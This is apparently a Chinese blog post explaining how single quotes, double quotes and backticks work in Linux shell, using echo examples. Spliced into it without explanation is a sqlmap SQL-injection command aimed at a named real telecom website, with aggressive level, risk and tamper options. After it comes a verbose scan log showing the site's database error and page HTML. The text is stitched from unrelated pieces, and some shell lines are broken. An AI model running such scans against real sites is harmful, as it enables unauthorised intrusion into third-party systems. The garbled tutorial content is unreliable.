linux 单引号,双引号…

本文详细解析了Shell命令中单引号、双引号与反引号的区别及用法,包括如何保护文字不被转换、如何包含文字或函数段以及如何在双引号内保持函数转换。通过具体示例,深入浅出地解释了这些引号的使用场景和功能。
单引号

目的: 为了保护文字不被转换.除了他本身. 就是说除去单引号外, 在单引号内的所有文字都是原样输出.

1. [root@jszwl161 SP49EP9]# echo '$*>

    $*>

2. [root@jszwl161 SP49EP9]# echo 'she is crying: "help"'

    she is crying: "help"

3. [root@jszwl161 SP49EP9]# echo '\\\\'

    \\\\

4. [root@jszwl161 SP49EP9]# echo 'hah 'test''

    hah test    #略去了所有'

5. [root@jszwl161 SP49EP9]# echo ' today is `date`'

    today is `date`   #反引号在此无法实现函数功能.

双引号

目的: 为了包含文字或者函数段. 除了本身,反引号内的函数,$开头的变量和\开头反转换的字符外, 其余都是直接输出.

1. [root@jszwl161 SP49EP9]# echo "today is `date`"

    today is Fri Jul   4 08:03:34 GMT 2008

2. [root@jszwl161 SP49EP9]# echo "today is 'date'"

    today is 'date'

3. [root@jszwl161 SP49EP9]# echo "\\\\"

    \\

4. [root@jszwl161 SP49EP9]# echo "test "test""

    test test

反引号

目的是为了在双引号内保持函数转换. 但单引号内其无作用.

1. [root@jszwl161 SP49EP9]# echo "today is `date`"

     today is Fri Jul   4 08:03:34 GMT 2008    #将函数date转换.

2. [root@jszwl161 SP49EP9]# echo ' today is `date` '

     today is `date`    #在单引号内无作用.

 

 

 

单引号

被单引号用括住的内容,将被视为单一字串。在引号内的代表变数的$符号,没有作用,也就是说,他被视为一般符号处理,防止任何变量替换。

双引号
被双引号用括住的内容,将被视为单一字串。它防止通配符扩展,但允许变量扩展。这点与单引数的处理方式不同。

反引号
在前面的单双引号,括住的是字串,但如果该字串是一列命令列,会怎样?答案是不会执行。要处理这种情况,我们得用反单引号来做。
fdv=`date +%F`echo "Today $fdv"
在倒引号内的 date +%F 会被视为指令,执行的结果会带入 fdv 变数中。
sqlmap -u "https://www.skylinetele.com/ua/site/domains.php/1'" --random-agent --level=4 --risk=3 --dbs --parse-errors -v 6 --force-ssl --tamper=space2comment,charencode --delay= sqlmap identified the database as MySQL 13:29:08] [WARNING] parsed DBMS error message: 'Invalid query :'SELECT * FROM site WHERE url='1'';' You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1' [13:29:08] [TRAFFIC IN] HTTP response [#11195] (200 OK): Date: Tue, 19 Aug 2025 03:29:07 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.6.40-1~dotdeb+7.1 Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2401 Connection: close Content-Type: text/html; charset=UTF-8 URI: https://www.skylinetele.com/ua/site/domains.php/1' <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="copyright" content="\xa9 Skyline telecom 2012"> <meta name="keywords" content="интернет, телефония, хостинг, одесса, sip, сервера, передача данных"> <title>Скайлайн Телеком</title> <link rel="shortcut icon" href="https://skylinetele.com/favicon.ico"> <link rel="stylesheet" href="/styles.css" type="text/css"> <script src="/ckeditor/ckeditor.js"></script> <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script> <script type="text/javascript"> $(document).ready(function(){ $('.spoiler_links').click(function(){ $(this).parent().children('div.spoiler_body').toggle('normal'); return false; }); }); </script> </head> <body bgcolor=#ffffff text=#000000 link=#000000 vlink=#000000 alink=#000000 leftmargin=15 topmargin=15 marginheight=15 marginwidth=15> <map name="hm"> <area shape="rect" coords="1,1,26,23" href="https://www.skylinetele.com" alt="Home" title="На головну"> <area shape="rect" coords="32,1,58,23" href="mailto:support@skylinetele.com" alt="Mail" title="Написати лист"> </map> <table align=left border=0 cellspacing=0 cellpadding=3 width=970 height=100% bgcolor=#ffffff id=ten> <tr> <td colspan=2 align=left valign=center height=120> <div style="float: right;"><b> <a href="https://skylinetele.com/ua" title="ua"><font color=#FF6600>ua</font></a> <font color=#FF6600>&nbsp|&nbsp</font> <a href="https://skylinetele.com/ru" title="ru"><font color=#FF6600>ru</font></a> &nbsp&nbsp&nbsp&nbsp <a href="https://stat.skylinetele.com" title="Для зареєстрованих користувачів"><font color=#FF6600>Вхід ↵</font></a></b>&nbsp</div> <div style="float: left;">&nbsp<img src="/img/hm.png" border="0" usemap="#hm"></div> <div style="float: left; width: 100%;"> <object type="application/x-shockwave-flash" data="https://skylinetele.com/img/logo.swf" width="400" height="74"> <param name="movie" value="https://skylinetele.com/img/logo.swf" /> <param name="menu" value="false" /> <img src="/img/st-logo-hor-eng-small.jpg" width="400" height="74" alt="Скайлайн Телеком" /> </object> </div> <div style="clear: both"></div> </td> </tr> <tr> <td width=200 valign=top> <table bgcolor="#FF6600" border="0" cellpadding="2" cellspacing="1" style="width:100%"> <tbody> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/">Новини</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/contract.html">Умови обслуговування</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/popolnenie.shtml">Як поповнити рахунок</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/services.shtml">Інтернет та передача даних</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"> <p><a href="/ua/site/ll_tarif.shtml">Виділені лінії</a><br /> <a href="/ua/site/transport.shtml">Передача даних</a><br /> <a href="/ua/site/wifi.shtml">Бездротовий зв'язок</a><br /> <a href="/ua/site/tarif.shtml">Додаткові послуги</a></p> </td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/tele1.shtml">Телефонія </a></strong></td> </tr> <tr> <td bgcolor="#ffffff"> <p><a href="/ua/site/virtual_attendant.shtml"><span style="color:#F00E0E">Віртуальний секретар</span></a><br /> <a href="/ua/site/dostupniy-mir.shtml">Послуга "Доступний Світ"</a><br /> <a href="/ua/site/tele2.shtml">PRI-потік</a><br /> <a href="/ua/site/tele3.shtml">SIP</a><br /> <a href="/ua/site/tele4.shtml">Традиційна телефонія</a><br /> <a href="/ua/site/state.shtml">Як дізнатися про стан рахунку</a><br /> <!--<a href="/ua/site/popolnenie.shtml">Як поповнити рахунок</a><br />--> <a href="https://stat.skylinetele.com/bin/phcard" target="_blank"><strong>Поповнення рахунку</strong></a><br /> <a href="https://stat.skylinetele.com" target="_blank">Вхід для абонентів</a><br /> <a href="https://skylinetele.com/ua/site/quality-of-telecommunication-services.shtml">Якість телекомунікаційних послуг</a></p> </td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="https://skylinetele.com/ua/site/hosting.shtml">Хостинг та доменні імена</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"><a href="https://www.host24.ua/hosting" target="_blank">Віртуальний хостинг</a><br /> <a href="https://www.host24.ua/colocation" target="_blank">Розміщення серверів</a><br /> <a href="/ua/site/domains.php">Реєстрація доменів</a><br /> <a href="/ua/site/document.php">Документація</a></td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/users.shtml">Користувачі</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"><a href="https://stat.skylinetele.com" target="_blank">Вхід для користувачів</a></td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/help.shtml">Допомога</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"> <p><a href="/ua/site/faq.shtml">Відповіді на запитання</a><br /> <a href="/ua/site/cards.shtml">Картки SkyCard</a><br /> <a href="/ua/site/shops.shtml">Де придбати картки</a></p> </td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/requisites.shtml">Контакти та реквізити</a></strong></td> </tr> </tbody> </table> <table width="100%"> <tbody> <tr> <td align="center" width="50%"><img alt="Mastercard" border="0" hspace="5" src="/img/mastercard.svg" vspace="5" width="50" /></td> <td align="center" width="50%"><img alt="Visa" border="0" hspace="5" src="/img/visa.svg" vspace="5" width="50" /></td> </tr> </tbody> </table> <table style="width:100%"> <tbody> <tr> <td colspan="2">ТОВ "Компанія "Скайлайн Телеком"</td> </tr> <tr> <td colspan="2">E-mail: <a href="mailto:support@skylinetele.com">support@skylinetele.com</a></td> </tr> <tr> <td colspan="2">телефон: +380 48 7972115</td> </tr> <tr> <td colspan="2">факс: +380 48 7972115</td> </tr> </tbody> </table> <p>\xa0</p> </td> <td valign=top width=770> <table border=0 cellspacing=1 cellpadding=2 width=100% bgcolor=#FF6600 id=ten> Invalid query :'SELECT * FROM site WHERE url='1'';' You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1 [13:29:08] [WARNING] parameter 'Referer' does not seem to be injectable [13:29:08] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. As heuristic test turned out positive you are strongly advised to continue on with the tests
最新发布
08-20
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值